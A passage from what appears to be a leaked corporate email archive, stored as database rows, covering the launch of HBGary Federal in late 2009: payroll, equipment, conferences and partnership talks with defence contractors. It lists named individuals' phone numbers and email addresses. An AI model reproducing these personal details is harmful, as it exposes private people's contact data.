November 30, 2009 4:59 PM\r\nTo: Bob Slapnik; Greg Hoglund\r\nCc: Barr Aaron\r\nSubject: HBGary Overview\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Bob / Greg,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you have a HBGary company overview / capabilities\r\npresentation? &nbsp;Aaron and I are creating one for HBGary Federal and if you\r\nhave one it would be useful as a template.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7819,'aaron_hbgary_com/7819.html'),(181,'2009-11-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999695.M469393P3547Q181.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Monster.com','Can we get set up with Monster.com accounts?  We&#39;d like to start opening some contingent reqs soon.Thanks!Ted-- Ted H. VeraPresident | COOHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n',6635,'aaron_hbgary_com/6635.html'),(182,'2009-11-30','\"Scott Pease\" <scott@hbgary.com>','/aaron@hbgary.com/new/1296999695.M647046P3547Q182.eml','all@hbgary.com','FW: Payroll Time','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nEveryone,\r\n\r\nPlease update your timecards so Barbara can do payroll.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Barbara Vermilyea\r\n[mailto:barbarabookkeeping@yahoo.com] \r\nSent: Monday, November 30, 2009 1:50 PM\r\nTo: Scott Pease\r\nSubject: Payroll Time\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI will be processing payroll\r\ntomorrow. Please have all time&nbsp;recorded into QB.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;Barbara Vermilyea\r\nPROFESSIONAL\r\nBOOKKEEPING SERVICES\r\n\r\nTNI Folsom Breakfast, VP, Past\r\nTreasurer&nbsp;(Business-to-Business Networking)\r\n\r\n(916) 705-8414 mobile\r\n\r\n(916) 351-8380 fax\r\n\r\n&quot;Don\'t keep me a\r\nsecret. Your referrals are the&nbsp;heart of my business.&quot;\r\n\r\nhttp://www.tni-network.org/members/Chapters/California/Folsom_Breakfast/\r\n\r\nSPECIALIZING\r\nIN...\r\n\r\nQuickBooks/Quicken;\r\nAccounts Payable &amp; Receivable; Payroll; Reconciliations; Amortization\r\nSchedules &amp;&nbsp;Financial Reports; Year End Reports for Tax Preparer;\r\nBudget&nbsp;&amp; Cash Flow&nbsp;Forecasting; Custom Spreadsheets and more...\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8584,'aaron_hbgary_com/8584.html'),(183,'2009-11-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999699.M227617P3547Q183.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Raytheon','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nLast summer Raytheon gave us some money to noodle on hypervisors\r\nand virtual machine security.&nbsp; They originally framed it as giving us money to\r\nwrite proposals for them. &nbsp;As we got bogged down on schedules and costs they\r\ntold us not to worry about that because they mainly wanted our tech thoughts. &nbsp;Attached\r\nis what we delivered.\r\n\r\n&nbsp;\r\n\r\nThe two main contacts were Tom Bracewell (703-419-1402 /\r\nmobile (703) 859-6703 / bracewell@raytheon.com)\r\nand Dave Gursky (703-419-1414 / dave_m_gursky@raytheon.com)\r\n\r\n\r\n&nbsp;\r\n\r\nI just spoke with Tom.&nbsp; They might give us IRAD money to\r\ndevelop some of this stuff.&nbsp; They are still in the process of putting together\r\nnext year&#8217;s priorities.&nbsp; Tom said he&#8217;d want to meet with you guys\r\nafter the New Year.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15193,'aaron_hbgary_com/15193.html'),(184,'2009-11-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999699.M495322P3547Q184.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: FW: Payroll Time','Hi Penny,How should Aaron and I go about getting quickbook accts for timecards, etc?Thanks,Ted---------- Forwarded message ----------\r\nFrom: Scott Pease &lt;scott@hbgary.com&gt;Date: Mon, Nov 30, 2009 at 3:09 PMSubject: FW: Payroll TimeTo: all@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEveryone,\r\n\r\nPlease update your timecards so Barbara can do payroll.\r\n\r\n \r\n\r\nThanks,\r\n\r\nScott\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Barbara Vermilyea\r\n[mailto:barbarabookkeeping@yahoo.com] \r\nSent: Monday, November 30, 2009 1:50 PM\r\nTo: Scott Pease\r\nSubject: Payroll Time\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI will be processing payroll\r\ntomorrow. Please have all time recorded into QB.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n \r\n\r\n\r\n\r\n Barbara Vermilyea\r\nPROFESSIONAL\r\nBOOKKEEPING SERVICES\r\n\r\nTNI Folsom Breakfast, VP, Past\r\nTreasurer (Business-to-Business Networking)\r\n\r\n(916) 705-8414 mobile\r\n\r\n(916) 351-8380 fax\r\n\r\n&quot;Don&#39;t keep me a\r\nsecret. Your referrals are the heart of my business.&quot;\r\n\r\nhttp://www.tni-network.org/members/Chapters/California/Folsom_Breakfast/\r\n\r\n\r\nSPECIALIZING\r\nIN...\r\n\r\nQuickBooks/Quicken;\r\nAccounts Payable &amp; Receivable; Payroll; Reconciliations; Amortization\r\nSchedules &amp; Financial Reports; Year End Reports for Tax Preparer;\r\nBudget &amp; Cash Flow Forecasting; Custom Spreadsheets and more...\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',9223,'aaron_hbgary_com/9223.html'),(185,'2009-11-30','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1296999699.M675812P3547Q185.eml','\"Aaron Barr\" <aaron@hbgary.com>','Apple','Hi Aaron,\r\n \r\nI am so sorry,  I had 2 meetings today that lasted way to long.  Apple has not gotton back to me yet.  Penny is on the phone right now.  Soon as she is off I will ask her if you can just go purchase your computer at the apple store.\r\n\r\n \r\nSorry again,\r\n \r\nDeeAnn\r\n',6647,'aaron_hbgary_com/6647.html'),(186,'2009-11-30','\"Halemartin, Kevin L.\" <KEVIN.L.HALEMARTIN@saic.com>','/aaron@hbgary.com/new/1296999699.M889035P3547Q186.eml','aaron@hbgary.com,aaron@hbgary.com','Need Info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve copied Charmaine Bell on this email. She&#8217;s\r\nthe Senior Staffing Manager that supports your customer and type of work for\r\nthe recompete.&nbsp; She&#8217;s requested more information from you, so she can\r\nhunt down the appropriate department that supports or would be interested in\r\nsupporting.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPlease call if this doesn&#8217;t make sense.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nKevin\r\nHalemartin\r\n-\r\nSAIC\r\n\r\nAVP\r\n- Senior Staffing Manager\r\n\r\nIntelligence,\r\nSecurity and Technology Group\r\n\r\n360\r\nCommand View\r\n\r\nColorado\r\nSprings, CO 80915\r\n\r\nOffice:\r\n719-474-8097\r\n\r\nCell:\r\n719-201-0591\r\n\r\nFax:\r\n866-641-7242\r\n\r\nhttp://www.saic.com/career/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5313,'aaron_hbgary_com/5313.html'),(187,'2009-11-30','\"Jim Griggs\" <jgriggs@afcea.org>','/aaron@hbgary.com/new/1296999700.M303121P3547Q188.eml','','Reminder: SOLUTIONS This Wed/Thu','\r\n\r\n\r\n\r\n\r\nReminder: SOLUTIONS This Wed/Thu\r\n\r\n\r\n\r\n\r\nThank you for registering to attend the AFCEA SOLUTIONS Series: Cyberspace Conference scheduled for this Wednesday and Thursday December 2-3 at the National Conference Center.\r\n\r\nBelow are a few administrative notes that may prove helpful as you prepare for the event.\r\n\r\n\r\nConference Location\r\n\r\nThe National Conference Center\r\n\r\n18980 Upper Belmont Place\r\n\r\nLeesburg, VA 20176\r\n\r\nwww.conferencecenter.com\r\n\r\n\r\nDirections\r\n\r\nFor driving directions:\r\n\r\nhttp://www.conferencecenter.com/directions.cfm\r\n\r\n\r\nParking\r\n\r\nPlease proceed past the Welcome Center at the entrance and follow signs to the Front Desk.&nbsp; Parking is available adjacent to the conference center itself.&nbsp; Should the lot next to the center be full proceed around the building to the additional parking areas.&nbsp; Shuttles run continuously from these lots to the center throughout the day.\r\n\r\nDress\r\n\r\nAll SOLUTIONS events are business dress. Military personnel are encouraged to wear the appropriate uniform of the day for all events.\r\n\r\nCome Hungry!\r\n\r\nA continental breakfast will be served both days beginning at 8am. Snack breaks and lunches will also be provided. There will be no shortage of food to help sustain the discussions!\r\n\r\nFor other details on this event including the latest program and schedule visit the SOLUTIONS Series website:\r\n\r\nhttp://www.afceasolutions.org\r\n\r\n\r\nWe look forward to seeing you at the event!\r\n\r\n\r\nJim\r\n\r\n\r\nJim Griggs\r\n\r\nVice President, CIO/CTO\r\n\r\nAFCEA International\r\n\r\n\r\n\r\n',10292,'aaron_hbgary_com/10292.html'),(188,'2009-11-30','\"Jim Griggs\" <jgriggs@afcea.org>','/aaron@hbgary.com/new/1296999700.M492001P3547Q189.eml','','SOLUTIONS Series Advance Questions','As you hopefully know by now we\'re exploring many new and innovative ways to help you engage in the dialogue before, during, and after each of the SOLUTIONS Series events.  Things such as the online group site, the wiki, and being able to send questions to the stage in real time should all help to ensure a highly interactive event that meets your needs.  One great way to ensure we meet your expectations is to complete the online advance questions form.  This online form allows us to capture and review what you as an attendee are expecting to hear and take away from the event.  Your inputs will help our speakers and moderators shape the event dialogue in meaningful ways.\r\n \r\nI personally encourage you to take a moment now to complete the form and provide us with your thoughts as we prepare for the event.  The form is anonymous so we anticipate that you\'ll provide your open and honest input to help us mold the event to produce actionable results.\r\n \r\nhttp://www.afcea.org/events/advancequestions.cfm?evid=44\r\n \r\nOn behalf of the staff, volunteers, and participants in the program thanks again for registering and we look forward to engaging with you this week.\r\n \r\n \r\nJim Griggs\r\nVice President, CIO/CTO\r\nAFCEA International\r\n \r\nAFCEA International, established in 1946, is a non-profit membership association serving the military, government, industry, and academia as an ethical forum for advancing professional knowledge and relationships in the fields of communications, IT, intelligence, and global security.\r\n \r\n',14094,'aaron_hbgary_com/14094.html'),(189,'2009-11-30','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1296999700.M689773P3547Q190.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary Federal','Hi Ted  &amp; Aaron\r\n \r\nLooking forward to working with you... I do sales -- a counterpart to Bob and live in southern California.  I work with the civilian agencies... \r\n \r\nMaria Lucas\r\nOn Wed, Nov 25, 2009 at 6:51 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nTo Reiterate Ted&#39;s comments, we are very excited to be part of the team.  It is truly a fortuitous moment.  The capability you all have put together is truly a discriminator in the market place, hopefully Ted and I can assist the already stellar work being done to get the word out on the product line and to extend the business into other services and solutions based cyber and IO markets.  In the next 3 weeks Ted and I should be getting back west to meet everyone.  I am looking forward to it.\r\nThanks for the warm welcome.  Happy Thanksgiving.Aaron \r\n\r\n\r\nOn Nov 25, 2009, at 5:53 PM, Ted Vera wrote:\r\nThank you for the warm welcome everyone.  I am extremely excited about joining the HBGary team!  I&#39;ve known many of you for years, but for those of you that are unfamiliar with me, I look forward to the chance to meet you sometime in the near future.  HBGary has done an extraordinary job developing an impressive product-lineup with very unique capabilities.  Through HBGary Federal, Aaron and I will leverage and integrate HBGary products bundled with classified services in support of National Cyber Security initiatives and Information Operations within the DoD and Intelligence Community.  I look forward to helping HBGary Federal achieve significant growth in 2010 and beyond.\r\nI wish you all a Happy Thanksgiving!Ted VeraHBGary Federal719-237-8623-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',6069,'aaron_hbgary_com/6069.html'),(190,'2009-11-30','\"Halemartin, Kevin L.\" <KEVIN.L.HALEMARTIN@saic.com>','/aaron@hbgary.com/new/1296999700.M91412P3547Q187.eml','aaron@hbgary.com','RE: Need Info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nLet me know if you don&#8217;t hear\r\nback after you send more info to Charmaine.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nKevin\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Halemartin, Kevin\r\nL. \r\nSent: Monday, November 30, 2009 3:56 PM\r\nTo: (aaron@hbgary.com)\r\nCc: Bell, Charmaine L.\r\nSubject: Need Info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve copied Charmaine Bell on this email. She&#8217;s the Senior\r\nStaffing Manager that supports your customer and type of work for the\r\nrecompete.&nbsp; She&#8217;s requested more information from you, so she can hunt\r\ndown the appropriate department that supports or would be interested in\r\nsupporting.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPlease call if this doesn&#8217;t make sense.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nKevin\r\nHalemartin\r\n-\r\nSAIC\r\n\r\nAVP\r\n- Senior Staffing Manager\r\n\r\nIntelligence,\r\nSecurity and Technology Group\r\n\r\n360\r\nCommand View\r\n\r\nColorado\r\nSprings, CO 80915\r\n\r\nOffice:\r\n719-474-8097\r\n\r\nCell:\r\n719-201-0591\r\n\r\nFax:\r\n866-641-7242\r\n\r\nhttp://www.saic.com/career/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7708,'aaron_hbgary_com/7708.html'),(191,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999701.M13004P3547Q191.eml','\"Bill Thompson\" <billt@xetron.com>,\"Brian Masterson\" <Brian.Masterson@ngc.com>','Going forward','Bill/Brian,\r\n\r\nThinking about this going forward I have a few questions.  When Martin\r\nsays I am untouchable is that Aaron the consultant or Aaron CEO of\r\nhbgary federal.  If it\'s the later that causes me concern.  We could\r\nget this put together and hbgary federal is not allowed to team to go\r\nafter the malware analysis and incident response work.  Thoughts?\r\nThis is going to be aajor focus for Ted and me and I would much rather\r\nwork with u guys but don\'t or can\'t afford a big stumble.\r\n\r\nIt was great to see u guys.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',12994,'aaron_hbgary_com/12994.html'),(192,'2009-12-01','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1296999701.M200368P3547Q192.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','Delivery to the following recipient failed permanently:\r\n\r\n     billt@xetron.com\r\n\r\nTechnical details of permanent failure: \r\nGoogle tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 550 550 5.7.1 ... Relaying denied. Proper authentication required. (state 14).\r\n\r\n----- Original message -----\r\n\r\nFrom: Aaron Barr \r\nMime-Version: 1.0 (iPhone Mail 7D11)\r\nDate: Mon, 30 Nov 2009 19:30:20 -0500\r\nReceived: by 10.216.89.13 with SMTP id b13mr1637972wef.45.1259627422323; Mon, \r\n	30 Nov 2009 16:30:22 -0800 (PST)\r\nMessage-ID: \r\nSubject: Going forward\r\nTo: Bill Thompson , Brian Masterson \r\nContent-Type: text/plain; charset=ISO-8859-1\r\n\r\nBill/Brian,\r\n\r\nThinking about this going forward I have a few questions.  When Martin\r\nsays I am untouchable is that Aaron the consultant or Aaron CEO of\r\nhbgary federal.  If it\'s the later that causes me concern.  We could\r\nget this put together and hbgary federal is not allowed to team to go\r\nafter the malware analysis and incident response work.  Thoughts?\r\nThis is going to be aajor focus for Ted and me and I would much rather\r\nwork with u guys but don\'t or can\'t afford a big stumble.\r\n\r\nIt was great to see u guys.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',14061,'aaron_hbgary_com/14061.html'),(193,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999701.M383930P3547Q193.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','What\'s bills email?',' From my iPhone\r\n',7232,'aaron_hbgary_com/7232.html'),(194,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999701.M575942P3547Q194.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>,william.thompson@ngc.com','Palantir','So a few things I was off on.  I had no idea of their size.  I\r\nwasnonly counting east coast folks.  And didn\'t realize they got\r\ninQtel funding.  Is this the right address for bill?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',5053,'aaron_hbgary_com/5053.html'),(195,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999701.M771307P3547Q195.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>,bill.thompson2@ngc.com','','Bill/Brian,\r\nThinking about this going forward I have a few questions.  When Martinsays I am untouchable is that Aaron the consultant or Aaron CEO ofhbgary federal.  If it&#39;s the later that causes me concern.  We could\r\nget this put together and hbgary federal is not allowed to team to goafter the malware analysis and incident response work.  Thoughts?This is going to be aajor focus for Ted and me and I would much rather\r\nwork with u guys but don&#39;t or can&#39;t afford a big stumble.Once we get the relationships established I would like to do a press release announcing the partnership of hbgary and plantir capabilities and the advanced analysis services built upon these capabilities.  So can you push on Martin a bit to see if there is something that is workable here?\r\n\r\nIt was great to see u guys.AaronFrom my iPhone\r\n',669,'aaron_hbgary_com/669.html'),(196,'2009-12-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999701.M955214P3547Q196.eml','karenmaryburke@yahoo.com,karenmaryburke@yahoo.com','Why now bullets...','Hi Karen,Here are some &quot;why now&quot; bullets, and some draft narrative for your review.Regards,Ted\r\nWhy Now?Corporate Reasons\r\nProducts are matureGrowing gov&#39;t customer baseSales are good ($ in the bank)\r\nLack a facility clearanceClearance will allow broader/deeper penetration into Gov&#39;t market\r\nEnvironment / Market ReasonsCybersecurity is national priority\r\nIncreased IO mission requirementsincreased use by adversaries\r\ncyber commandCERTsIO RangeIncreased threats -- malware isn&#39;t going away\r\nInformation economy, protecting IP, national secrets, etcCompetition\r\nThere are significant gaps in capabilitiesIncreased trends towards small business set-asides for competitive bids\r\nOver the last year, HBGary Inc, has evolved its product line from a traditionally forensics-based capability to an enterprise malware analysis and incident response capability.  The government is in desparate need for advanced cybersecurity technology utilized in the hands of trained experts.  HBGary Federal will provide the trained subject matter experts that can most effectively leverage these tools to satisfy mission requirements.\r\nCybersecurity is a national priority due to the significant gaps in capability to counter increasingly advanced threats.  Dated technologies, such as signature based malware detection tools, IDS, and Firewalls continue as the mainstay in security for most organizations.  What is needed is behavior and characteristic based technologies such as, HBGarys Nexus platform that can recognize new threats as they appear and automate operational impact analysis and incident response.  HBGary Federal will leverage these capabilities in services offerings to its customers to meet the unique needs of DOD and IC customers and their extremely dynamic classified mission requirements.\r\nAsymetric cyber warfare is becoming a much more utilized capability by our nation&#39;s adversaries.  There is a strong need for agile organizations that can move at the speed of business and understand the cultural, operational, and technical aspects of conducting information operations campaigns in a net-centric environment.\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',9580,'aaron_hbgary_com/9580.html'),(197,'2009-12-01','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999702.M138367P3547Q197.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','RE:','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nIt was great to see you as well today.&nbsp; Bill and I talked briefly\r\nafter you left and are really excited about the opportunity with you at\r\nHBGary.&nbsp; I thought Bill said that the untouchable had to do with you as a\r\nconsultant not you with another business entity but Bill will have to confirm\r\nthat.&nbsp; &nbsp;&nbsp;I can ensure you that we (bill and I) will do whatever we can to make\r\nthis work.&nbsp; We have no desire to impede your success at standing up HBGary\r\nFederal and want to be a partner with you as you and Ted grow Federal.\r\n\r\n&nbsp;\r\n\r\nI&#8217;ll forward this to Martin as soon as I hit return. Will send\r\nnext week&#8217;s schedule in a second.\r\n\r\n&nbsp;\r\n\r\nBrian\r\n\r\n&nbsp;\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3543 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, November 30, 2009 9:22 PM\r\nTo: Masterson, Brian (Xetron); Thompson, Bill (Xetron)\r\nSubject: \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBill/Brian,\r\n\r\nThinking about this going forward I have a few\r\nquestions. &nbsp;When Martin\r\nsays I am untouchable is that Aaron the consultant\r\nor Aaron CEO of\r\nhbgary federal. &nbsp;If it\'s the later that\r\ncauses me concern. &nbsp;We could\r\nget this put together and hbgary federal is not\r\nallowed to team to go\r\nafter the malware analysis and incident response\r\nwork. &nbsp;Thoughts?\r\nThis is going to be aajor focus for Ted and me and\r\nI would much rather\r\nwork with u guys but don\'t or can\'t afford a big stumble.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOnce\r\nwe get the relationships established I would like to do a press release\r\nannouncing the partnership of hbgary and plantir capabilities and the advanced\r\nanalysis services built upon these capabilities. &nbsp;So can you push on\r\nMartin a bit to see if there is something that is workable here?\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt was great to see u guys.\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4783,'aaron_hbgary_com/4783.html'),(198,'2009-12-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999702.M433737P3547Q198.eml','\"Rohlman, William H.\" <WILLIAM.H.ROHLMAN@saic.com>,\"Rohlman, William H.\" <WILLIAM.H.ROHLMAN@saic.com>','Re: Update','Hi Bill,Any luck? Aaron was hoping to set up a meeting this week, if possible.  The proposal timeline is getting close.Thanks again,Ted\r\nOn Wed, Nov 25, 2009 at 9:31 PM, Rohlman, William H. &lt;WILLIAM.H.ROHLMAN@saic.com&gt; wrote:\r\n\r\nCongrats, Mr President! I&#39;ll see what I can find out. Bill\r\n\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\nTo: Rohlman, William H.\r\nCc: Barr Aaron &lt;aaron@hbgary.com&gt;\r\nSent: Wed Nov 25 13:07:20 2009Subject: Update\r\n\r\nHi Bill,The job search went much quicker than we expected, thank you very much for your help.  Aaron and I joined HBGary, a small business we&#39;ve teamed with over the years that develops some very unique Information Operations software.  We didn&#39;t hear back from Larry Cox regarding our resumes, but we would still like to schedule a meeting to discuss potential teaming on the Romas recompete.  Do you know who is responsible for that capture effort?  If possible, we&#39;d like to set up a face-to-face meeting with Aaron Barr sometime next week in DC.\r\n\r\nHappy Thanksgiving!Ted-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',13291,'aaron_hbgary_com/13291.html'),(199,'2009-12-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999702.M606990P3547Q199.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Laptop & Pico Projector','Hi DeeAnn,Aaron mentioned that he&#39;s going to pick up his laptop himself tomorrow.  Can you please still order mine from the Apple Store (and the pico project from the vendor link Aaron sent previously) and have it shipped to my home address?\r\nThanks!Ted\r\n',838,'aaron_hbgary_com/838.html'),(200,'2009-12-01','ted@hbgary.com','/aaron@hbgary.com/new/1296999702.M794001P3547Q200.eml','aaron@hbgary.com','Resumes','I\'ve shared a document with you:\r\n\r\nResumes\r\nhttps://docs.google.com/a/hbgary.com/leaf?id=0B7u9N_XVzxNhODI1MzZjOTctYjg2Ny00ZDllLWI2M2QtYWZmMTYyY2VlNTc2&hl=en\r\n\r\nIt\'s not an attachment -- it\'s stored online at Google Docs. To open this  \r\ndocument, just click the link above.\r\n\r\nI\'m trying to assemble a resume library.  I placed the resumes Bob sent me  \r\nearlier in this folder.\r\n\r\nRegards,\r\nTed\r\n',3563,'aaron_hbgary_com/3563.html'),(201,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999703.M258912P3547Q202.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Palantir','200.  25 in DC (that is the number I had remembered) and 175 in  \r\nCalifornia.\r\n\r\n\r\nOn Nov 30, 2009, at 10:42 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n>  many employees in total?  The other Thompson in your later email\r\n> was correct.\r\n\r\n',12341,'aaron_hbgary_com/12341.html'),(202,'2009-12-01','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1296999703.M502320P3547Q203.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: HBGary Overview','Its on my other laptop, send it in the morning...\r\n \r\n-Greg\r\nOn Mon, Nov 30, 2009 at 1:58 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Bob / Greg, \r\n\r\nDo you have a HBGary company overview / capabilities presentation?  Aaron and I are creating one for HBGary Federal and if you have one it would be useful as a template.\r\n\r\nThanks,\r\nTed-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n',16722,'aaron_hbgary_com/16722.html'),(203,'2009-12-01','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999703.M65335P3547Q201.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Thompson, William (TS)\" <William.Thompson@ngc.com>','RE: Palantir','Aaron,\r\nSo how many employees in total?  The other Thompson in your later email\r\nwas correct.\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, November 30, 2009 8:05 PM\r\nTo: Masterson, Brian (Xetron); Thompson, William (TS)\r\nSubject: Palantir\r\n\r\nSo a few things I was off on.  I had no idea of their size.  I\r\nwasnonly counting east coast folks.  And didn\'t realize they got\r\ninQtel funding.  Is this the right address for bill?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',13711,'aaron_hbgary_com/13711.html'),(204,'2009-12-01','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999703.M701236P3547Q204.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Palantir','No kidding.  That many people.  Wow.  Was not expecting that number of\r\npeople.\r\n\r\nSent your email to Martin with a summary of today\'s meeting.  Will let\r\nyou know what he says.  I expect it to be full speed ahead.  Asked who\r\nour NGES MARCOM is so we could be included in the press release.  But,\r\nwe may not want to do it at first because of NGIS.  Martin\'s call on\r\nthat.  If we are included, I would think NGIS would descend on us.  Just\r\nnot sure if it would be in a good way or bad way.  I am sure\r\nMillersville will send the assassins out for our heads.\r\n\r\nSo, what is the implication of Bill Luti\'s interest?\r\n\r\nTuesday is, by far, my best day next week for a meeting.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr 